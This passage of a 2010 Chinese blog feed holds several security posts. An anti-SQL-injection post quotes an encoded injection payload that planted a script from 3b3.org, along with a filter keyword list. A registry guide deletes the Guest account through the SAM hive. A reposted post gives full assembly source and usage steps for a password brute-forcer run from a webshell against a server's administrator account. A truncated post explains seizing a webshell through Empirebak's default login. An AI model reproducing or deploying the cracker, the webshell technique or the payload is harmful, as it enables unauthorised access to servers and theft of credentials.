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	<title>无风的港湾 &#187; 诫</title>
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		<title>ASP防注入新方式，希望对大家是有用的</title>
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		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。 首先先告诉大家一个批量清除代码的sql语句。 update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62; 1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。 通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。 %%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码 首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。 通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。 ;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211; 就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。 2、所以我们的原来的防sql注入的字符串就需要升级了。 如果过滤16进制 ; 对应 3B DeCLaRE 对应 4465434C615245 @ 对应 40 NvArCHaR 对应 4E76417243486152 set 对应 536554 CaSt 对应 43615374 as 对应 6153 exec 对应 45784563 - 对应 2D 把16进制的代码用&#124;隔开放到injdata 里面 injdata = [...]]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = “3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|”</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
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		<title>通过注册表彻底删除guest等账户</title>
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		<pubDate>Wed, 28 Jul 2010 01:57:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeuestee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>开始&#8212;&#8212;运行regedt  启动注册表编辑器 找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。 再次运行regedit： 此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到： HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。 进入dos窗口： &#62;net user 看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！ ======== 需要提醒的是： 1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。 2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是： 可通过编辑注册表的SAM信息可轻松删除或改动其它账 2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。 相关博文2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- Rsync详解 [...]]]></description>
			<content:encoded><![CDATA[<p>开始&#8212;&#8212;运行regedt  启动注册表编辑器<br />
找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。<br />
再次运行regedit：<br />
此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到：<br />
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest<br />
删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。<br />
进入dos窗口：<br />
&gt;net user<br />
看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！<br />
========<br />
需要提醒的是：<br />
1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。<br />
2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是：<br />
可通过编辑注册表的SAM信息可轻松删除或改动其它账<br />
2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。</p>
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		<title>Webshell下破解计算机管理员密码</title>
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		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个idea源自以前学runas命令时候的启发。 使用方法：     1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\     2、把程序上传到c:\windows\temp\中，然后运行它。     3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，        如果为空就说明还没破解完，另选时间再回来看。 特点：     不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。     默认破解administrator用户的密码。要破其它，请自行修改代码。 result_.txt示例： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ The administrator&#8217;s password is: tester The program had tried 32653 times! Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s. －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 源代码如下： AdminPassCrack.asm文件 复制内容到剪贴板代码: ;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; ;                AdminPassCracker ; ;                                By taiwansee        2008.10.23 ; ; 使用 nmake 或下列命令进行编译和链接: ; ml /c /coff AdminPassCracker.asm ; [...]]]></description>
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信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; <a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">Include</a> 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_<a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">PATH</a> dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .<a href="http://www.5bay.cn/tag/code" class="st_tag internal_tag" rel="tag" title="标签 code 下的日志">code</a><br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        <a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
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		<title>帝国备份王(Empirebak)拿webshell</title>
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		<pubDate>Wed, 28 Jul 2010 01:26:19 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<category><![CDATA[软件]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>fhod 邪恶八进制 帝国备份王(Empirebak)简介 EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库. 可在 http://www.phome.net/ebak2008os/ 下载到 默认账号密码为 admin  123456 登陆后先备份一次数据 备份时可选择备份到的目录。。默认有个safemod 当然也可以是别的..这里以safemod来说了 备份完毕后来到 管理备份目录 打包并下载 把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了 备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能 如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下 我是替换 config.php的内容 内容为 &#60;?php 